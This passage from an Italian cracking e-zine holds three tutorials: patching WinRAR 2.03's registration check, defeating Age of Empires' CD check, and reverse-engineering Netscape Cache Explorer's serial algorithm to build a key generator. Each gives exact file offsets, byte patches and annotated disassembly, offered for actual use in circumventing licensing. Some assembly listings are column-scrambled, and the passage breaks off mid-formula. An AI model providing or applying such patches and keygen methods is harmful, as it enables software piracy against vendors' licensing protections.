la procedura GetWindowTextA (che e' una procedura di una API di Windows, che
serve a prendere un testo da una dialog) il debugger blocchera' tutto
mostrandovi quello che il programma da crackare stava per fare...cosi' che
voi possiate agire di conseguenza :) Gli hex-editors, beh, se non li conoscete
ritiratevi, il mestiere di cracker non fa per voi. Ma passiamo adesso al
tutorial!!!
TUTORIAL No.1: COME CRACKARE IL WINRAR95.EXE (VER 2.03)
Mmm, la prima cosa da fare e' procurarsi i necessari tools. Andate al sito
www.crackstore.com e nella sezione tools scaricatevi il Wdasm 8.93 e l'Hiew
6.00.
Se ci sono versioni piu' recenti non fate i lamer0ni e dite "ahhhhh non e'
quello che hai detto tu percio' non lo prendo", ma arraffateli lo stesso.
Allora, dopo avere preso i proggie installateveli (ossia scompattateli dove
vi pare e piace) e createvi due copie di WINRAR95.EXE, una la chiamate
WINRAR95.<estensione che vi piace> e un'altra WINRAR95.W32. Adesso aprite il
Wdasm, premete il primo bottone sulla toolbar (che sarebbe apri file da
disassemblare), andate nella directory del WinRAR e disassemblate il file
WINRAR95.W32. Finita la disassemblazione attivate il WINRAR95.EXE e cercate
di registrarvi inserendo Username e Password a vostro piacimento (io, tanto
per farvelo sapere, metto sempre come Username Satana e come Password 666).
A meno che non abbiate un kulo di dimensioni bibliche vi apparira' una
finestrella con scritto "Registration Failed". Memorizzate o scrivetevi il
messaggio della finestra di testo e tornate al Wdasm.
Cliccate sul penultimo bottone, quello con scritto "Strn Ref". La pressione
di questo bottone fara' apparire la lista delle stringhe di testo inserite nel
programma. Fra queste cercate il vostro "Registration Failed" e fateci doppio
clic. Noterete che il cursore si spostera' ad una certa riga, chiudete la
finestrella delle String References e salite di un paio di righe con freccia
su. Vi faccio lo schemino di come dovrebbe essere il vostro schermo a questo
punto:
* Possible Reference to String Resource ID=00106: "Registration Failed"
:00413A8F 6A6A
:00413A91 E863640000
|
push 0000006A
call 00419EF9
e poi altre tre righe. Adesso abbiamo trovato il posto dove andate a finire
quando immettete una pass sbagliata. E qui entra in gioco uno dei principi
fondamentali dell'assembler: i programmi vengono letti dall'alto in basso.
Questo significa che il jump che dobbiamo cambiare sara' SEMPRE prima della
stringa "Registrazione fallita". Quindi saliamo col cursore per un po' di
righe. Ad un certo punto ci troveremo davanti ad una schermata interessante:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413A51(C)
|
:00413A6D 8D9554FFFFFF
lea edx, dword ptr [ebp+FFFFFF54]
altre righe di codice...
:00413A82 74DF
jne 00413AB3
Questo "Referenced by..." imparerete ad amarlo. Significa che tutta la serie
di procedure che dicono che il vostro serial fa schifo partono proprio dal
"Jump if not equal" 00413A82...eheheheheh...Abbiamo quasi finito. In pratica
questo jne vuol dire questo: se il codice e' diverso da quello giusto, vai e
dimmi che non va. Allora, qui sta il crack: cambiamo il jne in je. In pratica:
se il codice e' diverso da quello giusto, registrami...adesso selezionate con
il cursore la riga con jne. La riga evidenziatrice passera' da blu a verde.
Adesso guardate in fondo alla finestra di Wdasm, dovrebbe apparire una riga
piu' o meno cosi':
Line:35097 Pg 702 and 703 of 1501 Code Data @: 00413A82 @Offset 00013082h in
File:Winrar95.w32
Segnatevi l'offset togliendo tutti gli zeri e la h finale (13082) e aprite
Hiew. Andate nella dir del WinRar e aprite il file WINRAR95.EXE. Appariranno
una serie di strani caratteri e altre porcherie, ma voi che siete cracker
premete F4, selezionate DECODE e premete Invio. Magia! Appare il codice
assembler di WINRAR! Premete F5, inserite il vostro offset, ossia 13082, e
premete Invio. Vi apparira' una schermata del genere:
.00413A82: 752F
.00413A84: 6A30
jne
push
.000413AB3
030
-------- (1)
Il 75 sara' selezionato, e voi premendo F3 lo potrete cambiare. Cambiatelo in
74, premete F9 e poi F10. Allora, spighiamo cio' che abbiamo fatto:
cambiandolo in 74 abbiamo inserito un "je", quindi abbiamo crackato il
programma in modo che accetti ogni pass. Con F9 abbiamo salvato e con F10
siamo usciti da Hiew.
Adesso arriva la prova finale...eseguite WINRAR95.EXE e immettete un qualunque
Username e Password, a vostra scelta. Se appare la scritta "Thanks for
supporting", siete a cavallo! Il programma e' crackato, FESTA, EVVIVA!
Chiudete e riavviate il WINRAR: bum, in alto e' riapparsa la scritta
(evaluation copy)...DOH...ma cosa puo' essere successo? Semplice, se il
codice non e' quello giusto, il programma si registra comunque, ma rimane la
scritta (evaluation copy) in alto, e cio' non e' professionale! Allora,
compito per casa: togliete la scritta! Per aiutarvi vi dico che servono
ancora le String Reference e il cambio di un jump...se non ci riuscite al
primo colpo, andate a tentativi: cambiate prima un jump, poi un altro e cosi'
via. Se proprio non doveste riuscirvi, nel prossimo numero di Newbies ci sara'
la soluzione...
SpYmAsTeR (or SpYm4sT3R)
[email protected]
(P.S. per N0bodY: ho una correzione, nello scorso numero avete che scritto che
per velocizzare i dcc bisogna scrivere /pdcc 99999999999, ma la miglior combo
e' questa: prima si mette
/fsend on
e poi
/pdcc 2147483647
il numero 2147483647 e' il migliore in assoluto, e' il valore massimo
possibile, mentre 999999999 lo ridurrebbe...e stai trankuillo che funzia di
brutto...2.5 Kb/sec su dcc...con 3 explorer e 2 dload aperti)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
CRAKKIAMO AGE OF EMPIRES
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Disclaimer: Non mi ritengo responsabile per l'utilizzo delle tecniche sotto
riportate ecc. ecc. ecc.
Non mi rompete per eventuali errori, stronzate e altre cose
dette.
Dedicato a: il mio amico Dantuccio Alighierucci, il mitico NObodY88 poi a . . .
a . . . si a tutti i tipi di hackernow (ci venite al FuturShow???),
ma siii pure a Demonio-- un lameraccio che mi nukka sulla 139 ogni
volta che mi vede !
Strumenti necessari: Age of empires, Windasm 8,9 o sup, Hiew 5.9 o sup, dose
di culo.
A cosa servono ??
Age of empires e' scontato, windasm serve a disassembrare il file .exe mentre
hiew serve a modificarlo.
Allora per prima cosa un salve a tutti, per seconda un grazie a NObodY88 che
mi ha permesso di pubblicare questo articolo.
Con questo tutorial intendero' spiegarvi come riuscire a crakkare il famoso
(anche se un po' vecchio) gioco age of empires che normalmente richiede il cd
per essere eseguito pur avendo tutti i file necessari su hd (dopo averlo
crakkato non sentirete la musica che sta sul cd).
Premetto che per riuscire a capire quanto e' detto sotto non e' necessario
essere esperti.
Per cominciare, recuperate gli strumenti necessari che sono sopra descritti.
Non e' difficile recuperarli. Potete provare sui maggiori motori di ricerca.
Dopo aver installato il gioco con l'installazione completa, aprite gestione
risorse di windozoz, andate nella dir del gioco e fate una copia del file
empires.exe. Il nuovo file creato sara' un file di backup in modo tale che se
il crakkaggio vi va a merda non dovete reinstallare il gioco.
Fatto ?
Aprite windasm e selezionate la copia del file empires.exe
Il programma provvedera' a disassemblare il file. ( se vi compaiono dei
caratteri geroglifici, non vi preoccupate bisogna selezionare il font dal
menu file ) Il gioco una volta eseguito controlla che il cd originale di AoE
si trovi all'interno del lettore. Il risultato che viene restituito al gioco
puo' essere del tipo:
1) Ok puoi girare il cd "originale" di age of empires sta nel lettore
2) Non girare, il bastardo non ha messo il cd originale
E' facilmente prevedibile quale e' la conseguenza di questo controllo.
Nel caso 1 il gioco partira' regolarmente senza nessun problema. Nel caso 2
il gioco fara' apparire all'utente il solito messaggio del cazzo "inserire il
cd..."
Il gioco allora in questo procedimento ha utilizzato un jamp condizionato,
ovvero un salto che viene compiuto se il cd e' nel lettore
Cerchero' di schematizzare:
Controllo del cd
|
|
jump condizionato
/ \
/
\
il cd e' originale
il cd non e' quello di age of empires
|
|
|
|
salta al gioco
Fa apparire il messaggio ed
esce dal gioco
Il jump che incontreremo sara' del tipo "jump if equal". Invertendo il salto
in "jump in not equal" il gioco, al momento del controllo, partira' se
non c'e' il cd nel lettore e fara' apparire il messaggio se il cd si trova
all'interno.
Allora vediamo un po' come procedere:
Andiamo dal menu functions e selezioniamo GetDriveTypeA
Clikkiamoci sopra e vi ritroverete sulla stringa n.4D65F6
Vi riporto il codice:
.......
:004D65C9
:004D65CE
:004D65D0
:004D65D2
:004D65D7
A114455600
85C0
7407
B801000000
EB7F
mov eax, dword ptr [00564514]
test eax, eax
je 004D65D9
mov eax, 00000001
jmp 004D6658
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D65D0(C)
|
* Possible StringData Ref from Data Obj ->"CDPath"
:004D65D9
:004D65DE
:004D65E4
:004D65E6
:004D65EB
:004D65ED
:004D65EF
:004D65F1
:004D65F3
6884C65500
8B8EAC010000
6A00
E8D570FEFF
8BF8
85FF
7504
33C0
EB63
push 0055C684
mov ecx, dword ptr [esi+000001AC]
push 00000000
call 004BD6C0
mov edi, eax
test edi, edi
jne 004D65F5
xor eax, eax
jmp 004D6658
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D65EF(C)
|
:004D65F5 57
push edi
* Reference To: KERNEL32.GetDriveTypeA, Ord:00DEh
QUI! :004D65F6 FF1554267000
:004D65FC 83F805
:004D65FF 7404
:004D6601 33C0
:004D6603 EB53
Call dword ptr [00702654]
cmp eax, 00000005
je 004D6605
xor eax, eax
jmp 004D6658
.......
ok, ora con la freccetta in su procediamo indietro nel codice
fino a trovare:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D65EF(C)
Questa stringa ci avverte che si e' giunti in questo punto da un salto
al 4D65EF. Allora andiamo da Goto/Goto Code Location, mettiamo 4D65EF
e clikkiamo su ok
Ora procediamo avanti allo stesso modo di prima fino a che ci ritroveremo
sulla stringa:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D65D0(C)
Con Goto Code Location andiamo su 4D65D0. Questo e' il jump
condizionato che cercavamo. Allora procediamo con la modifica del jump
con Hiew. Prima di chiudere windasm prendete nota dell'offset che compare
nella riga sottostante al codice che dovrebbe essere questa:
Line:393202 Pg 4681 of 7380 Code Data @:004D65D0 @Offset 000D59D0 in
File:empires.exe
Allora l'offset e' 000D59D0
Apriamo hiew, selezioniamo il file empires.exe. Ora premiamo F4 e su Decode
Mode. Ora F5 per effettuare la ricerca dell'offset quindi inseriamo D59D0
(gli 000 possono essere tolti). Ci troviamo avanti ad un jump if equal il cui
codice e' 74cb. Allora proviamo ad invertire il salto con un jump if not equal
di codice 75cb. Premiamo F3 e al posto di 74 mettiamoci 75.
Ora F9 per salvare ed F10 per uscire.
E' arrivato il momento della verita' !!
Apriamo AoE (rullo di tamburi . . . ) clikkiamo su UN GIOCATORE . . .
Ole' crakkaggio riuscito !(ora potete anche restituire il cd al vostro amico).
Ok raga' per oggi e' tutto
Il prossimo articolo: Come crakkare Virtua Cop II
Per i soliti commenti, congratulazioni(mmmmm), proteste e minacce di morte
potete sendatemi una mail a [email protected]
Alla proxima
DeViLNeT
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
+++++++++++++++++++++++++++++++++++++++++++
Un breve tutorial sui generatori di chiavi
+++++++++++++++++++++++++++++++++++++++++++
by .+MaLaTTiA.
//
//
Nota introduttiva: questo tutorial, datato originariamente ottobre 1997, e'
stato il mio primo tute pubblicato da +Fravia e la versione originale e'
ancora presente, in lingua inglese, all'indirizzo http://www.fravia.org/
nscekey.htm.
Qua e la' sono stati aggiunti dei commenti... la traduzione comunque e'
abbastanza affidabile, in quanto affidata... al sottoscritto =)
Non fatevi ingannare dalla data di questo tute! Per il dovere che deve
assolvere (spiegare lo studio di un algoritmo di codifica e la creazione di
un generatore di chiavi) e' piu' che adatto allo scopo. Inoltre, per quanto
ne so, i programmi citati utilizzano ancora lo stesso algoritmo con alcuni
piccoli cambiamenti. Ricordate che in questo e in molti altri settori certe
abitudini sono dure a morire! :)
[Netscape Cache Explorer]
Salve ragazzi, questo e' un breve tutorial su nsce. Questo programma e' un
cache explorer, che mostra tutti i siti che sono stati salvati nella cache di
Netscape (c'e' una versione anche per MSIE) divisi per dominio e consente di
rivisitarli una volta offline. Io lo trovo particolarmente utile perche'
consente anche di salvare questi siti con tutte le immagini e le pagine
collegate ricostruendo automaticamente i link in esse presenti affinche'
funzionino in locale. Suppongo che siate riusciti a raggiungere questa
porzione di codice (ammetto di aver avuto qualche problema, a suo tempo, a
trovare il punto giusto - eh, la gioventu'! - anche se era proprio sotto il
mio naso... ed era sufficiente utilizzare un bpx messageboxa! :) GRAZIE +Zer0
e +ReZiDeNt per il vostro aiuto!). Ecco il codice che si occupa del controllo:
:0041F88F
:0041F891
:0041F894
:0041F895
6A09
8D45F4
50
FF7510
push 00000009
lea eax, dword ptr [ebp-0C]
push eax
** PUSH indirizzo della PW
push [ebp+10]
* Reference To: USER32.GetWindowTextA, Ord:0000h
|
:0041F898 E84A560000
Call 00424EE7
:0041F89D 83F808
cmp eax, 00000008 ** la pw e' lunga 8
caratteri?
:0041F8A0 0F85D5000000
jne 0041F97B
** NO, salta
:0041F8A6 6A1F
push 0000001F
** SI, vai avanti
:0041F8A8 8D45D4
lea eax, dword ptr [ebp-2C] ** indirizzo
** del NOME
:0041F8AB 50
push eax
:0041F8AC 6A70
push 00000070
:0041F8AE 56
//
push esi
Breve nota. Non so se ve lo ricordate, ma la funzione API getdlgitemtexta
funziona cosi':
Declare Function GetDlgItemText Lib "user32" Alias "GetDlgItemTextA"
(ByVal hDlg As Long,
ByVal nIDDlgItem As Long,
ByVal lpString As String,
ByVal nMaxCount As Long) As Long
//
la locazione che ci interessa (quella del NOME) e' esattamente il terzo
parametro della chiamata alla funzione e, come tale, lo possiamo trovare
come terzultima PUSH prima della CALL: quel "PUSH EAX" e' esattamente il
terzo parametro della funzione getdlgitemtexta!!!
* Reference To: USER32.GetDlgItemTextA, Ord:0000h
|
:0041F8AF E80B570000
Call 00424FBF ** leggi il nome
:0041F8B4 85C0
test eax, eax ** nome=0 caratteri?
:0041F8B6 0F84BF000000
je 0041F97B
** continua a chiedere il nome
:0041F8BC 8D45F4
lea eax, dword ptr [ebp-0C]
:0041F8BF 50
push eax
** salva la PW
:0041F8C0 8D45D4
lea eax, dword ptr [ebp-2C]
:0041F8C3 50
push eax
** salva il NOME
:0041F8C4 E887020000
call 0041FB50 ** PRIMA CALL IMPORTANTE
:0041F8C9 83C408
add esp, 00000008
:0041F8CC 8D45F4
lea eax, dword ptr [ebp-0C]
:0041F8CF 50
push eax
:0041F8D0 E8FA020000
call 0041FBCF ** SECONDA CALL IMPORTANTE
:0041F8D5 59
pop ecx
:0041F8D6 A320204300
mov [00432020], eax ** salva il valore
:0041F8DB E99B000000
jmp 0041F97B
** torna al programma
* Referenced by a (U)nconditional
|:0041F86F(C)
|
:0041F8E0 A120204300
precedenza
:0041F8E5 3B0510204300
:0041F8EB 743B
:0041F8ED 6A50
:0041F8EF 8D4584
:0041F8F2 50
:0041F8F3 56
or (C)onditional Jump at Address:
mov eax, [00432020]
cmp eax, dword ptr
je 0041F928
***
push 00000050 ****
lea eax, dword ptr
push eax
push esi
** valore salvato in
[00432010] ** IMPORTANTE!
QUESTO E' IL SALTO BUONO!
BAD GUY!!!
[ebp-7C]
Ok, diamo un'occhiata a queste righe di codice... innanzitutto c'e' un
controllo relativo alla password: se essa raggiunge gli 8 caratteri allora
comincia l'algoritmo, altrimenti il controllo ritorna all'utente, che puo'
inserire altri caratteri per la password. Nel momento in cui la password
raggiunge gli 8 caratteri, il programma legge il nome inserito e fa DUE
CHIAMATE MOLTO IMPORTANTI: la prima richiede 2 argomenti, ovvero gli indirizzi
in cui sono stati salvati il nome e la password, mentre la seconda richiede
solo l'indirizzo del nome. Dopo queste due chiamate il controllo viene
restituito all'utente e, quando il pulsante Ok viene selezionato, il programma
salta all'indirizzo 41f8e0, dove controlla il valore salvato con un altro
valore salvato in precedenza alla locazione di memoria 432010.
Se date un'occhiata a questa locazione (a vostra scelta, utilizzando
l'approccio "live" con SoftIce o il metodo dead listing con Wdsam o IDA),
potrete notare che questo valore e' 190h, ovvero 400d.
//
Altra nota: questo valore e' la chiave su cui si basa l'intero algoritmo di
protezione.
Essa cambia da una versione all'altra del programma, intenzionalmente in
questa sede ho deciso di darvi una chiave vecchia... funziona, ma con una
versione del programma che forse non troverete neanche piu' in giro! Tanto
//
non vi interessa sproteggere il programma, ma volete solo imparare le
tecniche... vero? :)
Ora sappiamo che c'e' un algoritmo di codifica che utilizza sia il nome sia
la pw per creare un solo numero, che dev'essere per forza 400. Hmmm... allora
in questo caso NON ABBIAMO la password gia' pronta (ahivoi, in questo caso non
funziona il trucco "data window" :)), ma dobbiamo fare un patch del programma
O creare un generatore di chiavi. Poiche' il modo piu' semplice sembrava
essere l'approccio "distruttivo", decisi di cambiare il "74 3b" alla locazione
di memoria 41f8eb in un "eb 3b" e provai a registrare il programma con una pw
qualsiasi: beh, la dialog box mi disse che la pw era giusta (adoro questo
lavoro!)... ma sfortunatamente il programma NON era registrato... argh...
forse qualche altro controllo... ma, essendo davvero TERRIBILMENTE pigro, ho
deciso di cambiare approccio e cercare di dare un'occhiata all'algoritmo di
codifica... BAMBINI, NON FATELO A CASA!!! :) Questa e' una PESSIMA pratica,
nel cracking e nella programmazione! Proseguite sempre nella convinzione delle
vostre decisioni, come insegna +ORC! (piccolo inciso: "ah, quante volte in
gioventu' ci si e' trovati davanti ad esami in cui si cambiava esercizio di
continuo, e alla fine non si combinava niente! :)). Infatti, il lavoro non e'
stato affatto semplice come speravo, ma ho imparato un sacco da esso: quindi
ho deciso di insegnarvi il modo in cui si prepara un bellissimo generatore di
chiavi, sperando che questo algoritmo venga utilizzato ancora :) (un
suggerimento: se date un'occhiata a MSIE cache explorer, noterete che esso
utilizza lo STESSO IDENTICO algoritmo, semplicemente con una chiave finale
diversa: 192h anziche' 190h... si sono sforzati, eh! ;)).
Ora parliamo dei generatori di chiavi: la prima cosa che bisogna fare e'
leggere il codice e cercare di capire esattamente cosa succede. Ora, diamo
un'occhiata alla PRIMA delle due call importanti, quella all'indirizzo 41fb50:
:0041FB50
:0041FB51
:0041FB53
:0041FB56
:0041FB57
:0041FB58
:0041FB59
:0041FB5C
:0041FB5E
55
8BEC
83C4F8
53
56
57
8B7508
8BDE
56
push ebp
mov ebp,
add esp,
push ebx
push esi
push edi
mov esi,
mov ebx,
push esi
esp
FFFFFFF8
dword ptr [ebp+08]
esi
* Reference To: KERNEL32.lstrlenA, Ord:0000h
|
:0041FB5F E8CF520000
Call 00424E33
:0041FB64 83F808
cmp eax, 00000008
:0041FB67 7305
jnb 0041FB6E
** eax=lunghezza del nome
* Possible Reference to String Resource ID=00008: "%d Object(s) selected"
|
:0041FB69 B808000000
mov eax, 00000008
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FB67(C)
|
:0041FB6E 33C9
xor ecx, ecx
:0041FB70 8D55F8
lea edx, dword ptr [ebp-08] ** NUOVO INDIRIZZO
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FB7B(C)
|
:0041FB73 C60200
mov byte ptr [edx], 00
:0041FB76 41
inc ecx
:0041FB77 42
inc edx
:0041FB78 83F908
cmp ecx, 00000008
:0041FB7B 72F6
jb 0041FB73
** Con questo ciclo il programma libera dello spazio a partire da un nuovo
indirizzo in memoria "azzerando" le locazioni... uhmmm... perche'? Quando si
usa il comando "mov" non e' necessario liberare prima dello spazio...
proseguiamo:
:0041FB7D 33C9
:0041FB7F 3BC1
:0041FB81 761A
xor ecx, ecx
cmp eax, ecx
jbe 0041FB9D
* Referenced by a (U)nconditional
|:0041FB9B(C)
|
:0041FB83 8BD1
:0041FB85 83E207
:0041FB88 8D7C15F8
:0041FB8C 8A13
:0041FB8E 0017
or (C)onditional Jump at Address:
mov
and
lea
mov
add
edx, ecx
edx, 00000007
edi, dword ptr [ebp + edx - 08]
dl, byte ptr [ebx]
byte ptr [edi], dl
** Ecco perche'!!! Il programma non usa MOV, usa un ADD!!! :)
:0041FB90
:0041FB91
:0041FB94
:0041FB96
43
803B00
7502
8BDE
inc
cmp
jne
mov
ebx
byte ptr [ebx], 00
0041FB98
ebx, esi
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FB94(C)
|
:0041FB98 41
inc ecx
:0041FB99 3BC1
cmp eax, ecx
:0041FB9B 77E6
ja 0041FB83
OK... cosa fa questo ciclo? L'istruzione alla locazione di memoria 41fb8c
copia il valore della n-esima lettera della stringa nel registro DL, quindi
questo valore viene aggiunto nelle locazioni contenute in edi (queste sono
esattamente le locazioni che erano state azzerate in precedenza!). Questa
procedura viene ripetuta finche' non si raggiungono 8 caratteri (se la stringa
e' di lunghezza inferiore o uguale a 8 caratteri), o finche' TUTTI i caratteri
della stringa non vengono inseriti nello spazio in memoria, ricominciando dalla
prima locazione di memoria quando se ne raggiunge il fondo.
+Zer0
--> becomes in memory --> +Zer0+Ze
MaLaTTiA -->
remains
--> MaLaTTiA
+ReZiDeNt --> becomes in memory --> *ReZiDeN
Il carattere rappresentato dall'asterisco corrisponde al valore ASCII 159,
cioe' 43 ("+") sommato a 116 ("t"). Ne risulta che alla fine di questa
porzione di codice abbiamo una stringa di 8 caratteri che e' stata costruita
a partire dal nome che abbiamo inserito...
Vediamo cosa fa il programma adesso:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FB81(C)
|
:0041FB9D 33C9
xor ecx, ecx
:0041FB9F 8B450C
mov eax, dword ptr [ebp+0C] ** INDIRIZZO
** DELLA PW
:0041FBA2 8BD8
mov ebx, eax
:0041FBA4 8D75F8
lea esi, dword ptr [ebp-08] ** NUOVA STRINGA
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FBC6(C)
|
:0041FBA7 33C0
xor eax, eax
:0041FBA9 8A06
mov al, byte ptr [esi] ** sposta l'n-esima
** lettera
:0041FBAB BF1A000000
mov edi, 0000001A
:0041FBB0 99
cdq
:0041FBB1 F7FF
idiv edi
** al=al/1a dl=dl%1a
:0041FBB3 80C241
add dl, 41
:0041FBB6 2813
sub byte ptr [ebx], dl
:0041FBB8 803B00
cmp byte ptr [ebx], 00
:0041FBBB 7D03
jge 0041FBC0
:0041FBBD 80031A
add byte ptr [ebx], 1A
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FBBB(C)
|
:0041FBC0 41
inc ecx
:0041FBC1 43
inc ebx
:0041FBC2 46
inc esi
:0041FBC3 83F908
cmp ecx, 00000008
:0041FBC6 72DF
jb 0041FBA7
Dopo il ciclo c'e' subito un'istruzione "ret": tutta la prima parte del
l'algoritmo di codifica e' qui, quindi state attenti! Il programma prende
l'n-esimo valore della stringa appena creata, lo divide per il valore 1Ah
(che corrisponde a 26d) ed inserisce il resto in dl. Questo e' mostrato anche
nel commento che ho inserito all'indirizzo 41fbb1: usando la notazione C,
abbiamo al=al/1a (divisione intera) e dl=dl%1a (resto della divisione intera).
In seguito, il valore 41h (65d) viene sommato a dl e il nuovo dl viene
sottratto dal carattere n-esimo DELLA PASSWORD INSERITA IN PRECEDENZA. Se il
valore finale e' minore di 0, allora viene aggiunto 1Ah (26d). Alla fine di
questo ciclo, la procedura termina.
Ora tocca alla SECONDA call importante, all'indirizzo 41fbcf. Eccone la
"versione completa":
:0041FBCF
:0041FBD0
:0041FBD2
:0041FBD5
:0041FBD6
:0041FBD7
:0041FBD8
55
8BEC
83C4F8
53
56
57
33FF
push ebp
mov ebp, esp
add esp, FFFFFFF8
push ebx
push esi
push edi
xor edi, edi
* Reference To: KERNEL32.GetTickCount, Ord:0000h
|
:0041FBDA E8EE510000
Call 00424DCD
:0041FBDF 8945FC
mov dword ptr [ebp-04], eax
:0041FBE2 33F6
xor esi, esi
:0041FBE4 8B4508
mov eax, dword ptr [ebp+08]
:0041FBE7 8BD8
mov ebx, eax
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FC2C(C)
|
* Reference To: KERNEL32.GetTickCount, Ord:0000h
|
:0041FBE9 E8DF510000
Call 00424DCD
:0041FBEE 8945F8
mov dword ptr [ebp-08], eax
:0041FBF1 33C0
xor eax, eax
:0041FBF3 8A03
mov al, byte ptr [ebx]
:0041FBF5 03C6
add eax, esi
* Possible Reference to Dialog: DialogID_000A
|
* Possible Reference to String Resource ID=00010: "(Empty)"
|
:0041FBF7 B90A000000
mov ecx, 0000000A
:0041FBFC 99
cdq
:0041FBFD F7F9
idiv ecx
:0041FBFF 8BCA
mov ecx, edx
:0041FC01 33C0
xor eax, eax
:0041FC03 8A4301
mov al, byte ptr [ebx+01]
:0041FC06 03C6
add eax, esi
:0041FC08 40
inc eax
:0041FC09 51
push ecx
* Possible Reference to Dialog: DialogID_000A
|
* Possible Reference to String Resource ID=00010: "(Empty)"
:0041FC0A
:0041FC0F
:0041FC10
:0041FC12
:0041FC13
:0041FC16
B90A000000
99
F7F9
59
0FAFCA
03F9
|
mov ecx, 0000000A
cdq
idiv ecx
pop ecx
imul ecx, edx
add edi, ecx
* Reference To: KERNEL32.GetTickCount, Ord:0000h
|
:0041FC18 E8B0510000
Call 00424DCD
:0041FC1D 2B45F8
sub eax, dword ptr [ebp-08]
:0041FC20 C1E80A
shr eax, 0000000A
:0041FC23 03C7
add eax, edi
:0041FC25 8BF8
mov edi, eax
:0041FC27 46
inc esi
:0041FC28 43
inc ebx
:0041FC29 83FE07
cmp esi, 00000007
:0041FC2C 7CBB
jl 0041FBE9
* Reference To: KERNEL32.GetTickCount, Ord:0000h
|
:0041FC2E E89A510000
Call 00424DCD
:0041FC33 2B45FC
sub eax, dword ptr [ebp-04]
:0041FC36 C1E80B
shr eax, 0000000B
:0041FC39 03C7
add eax, edi
:0041FC3B 5F
pop edi
:0041FC3C 5E
pop esi
:0041FC3D 5B
pop ebx
:0041FC3E 59
pop ecx
:0041FC3F 59
pop ecx
:0041FC40 5D
pop ebp
:0041FC41 C3
ret
Tutte queste chiamate a GetTickCount sono una protezione: probabilmente, se
utilizzassimo un debugger "normale", il conto dei ticks sarebbe sbagliato e
verrebbe restituito qualche messaggio d'errore... ma noi non usiamo un
debugger normale: usiamo Winice! (TADAAA!) :))
Quindi, in realta' ci interessa solo una "versione breve" di questa procedura
... in seguito a un'operazione di "sfoltimento" questo e' cio' che appare:
:0041FBE4 8B4508
:0041FBE7 8BD8
mov eax, dword ptr [ebp+08] ** indirizzo della
** pw modificata
mov ebx, eax
:HERE THE
:0041FBF3
:0041FBF5
:0041FBF7
:0041FBFC
:0041FBFD
:0041FBFF
:0041FC01
:0041FC03
:0041FC06
:0041FC08
:0041FC09
:0041FC0A
:0041FC0F
:0041FC10
:0041FC12
:0041FC13
resto
:0041FC16
BIG LOOP STARTS:
8A03
03C6
B90A000000
99
F7F9
8BCA
33C0
8A4301
03C6
40
51
B90A000000
99
F7F9
59
0FAFCA
mov al, byte ptr [ebx] ** n-esimo valore
add eax, esi
** inizialmente 0
mov ecx, 0000000A
cdq
idiv ecx
** eax=eax/10
mov ecx, edx
** ecx=edx=edx%10
xor eax, eax
** eax=0
mov al, byte ptr [ebx+01] **(n+1)esimo valore
add eax, esi
** ancora 0
inc eax
** eax=(n+1)esimo valore+1
push ecx
** salva il primo resto
mov ecx, 0000000A
cdq
idiv ecx
** eax=eax/10
pop ecx
** carica il primo resto
imul ecx, edx
** ecx=primo resto*secondo
03F9
add edi, ecx
:0041FC20
:0041FC23
:0041FC25
:0041FC27
:0041FC28
C1E80A
03C7
8BF8
46
43
shr
add
mov
inc
inc
eax, 0000000A
eax, edi
edi, eax
esi
ebx
** edi=edi+ecx
EDI CRESCE!
** eax diventa 0
** nessun cambiamento :)
:0041FC29 83FE07
:0041FC2C 7CBB
:HERE THE BIG LOOP ENDS:
cmp esi, 00000007** ho scandito tutta la pw?
jl 0041FBE9
** no. Salta all'inizio.
:0041FC36 C1E80B
:0041FC39 03C7
shr eax, 0000000B
add eax, edi
** ax=valore finale
Come potete vedere, l'algoritmo dopotutto non e' COSI' difficile da
comprendere... magari sara' piu' complicato fare il generatore di chiavi, ma
ora possiamo ancora capire cosa sta succedendo. Il programma raccoglie i
valori n-esimo e (n+1)-esimo della pw modificata, li divide per 10, quindi
moltiplica il resto del valore n-esimo con quello del valore (n+1)-esimo
incrementato di 1. Se date un'occhiata alle ultime righe, potete notare che
il valore finale di questa somma viene salvato in eax e, se guardate la
porzione di codice che compare subito dopo la call potete notare QUESTA riga:
:0041F8D6 A320204300
mov [00432020], eax
** salva il valore
che SALVA IL VALORE IN EAX per effettuare una successica "cmp". Quindi, QUESTO
e' il valore che dev'essere uguale a 190h, cioe' 400d. Ecco il modo in cui
tale numero viene costruito:
r1*r2 + r2*r3 + r3*r4 + r4*r5 + r5*r6 + r6*r7 + r7*r8 =190h=400d
dove
r1=p1+0%10
r2=p2+1%10
r3=p3+2%10
r4=p4+3%10
r5=p5+4%10
r6=p6+5%10
r7=p7+6%10
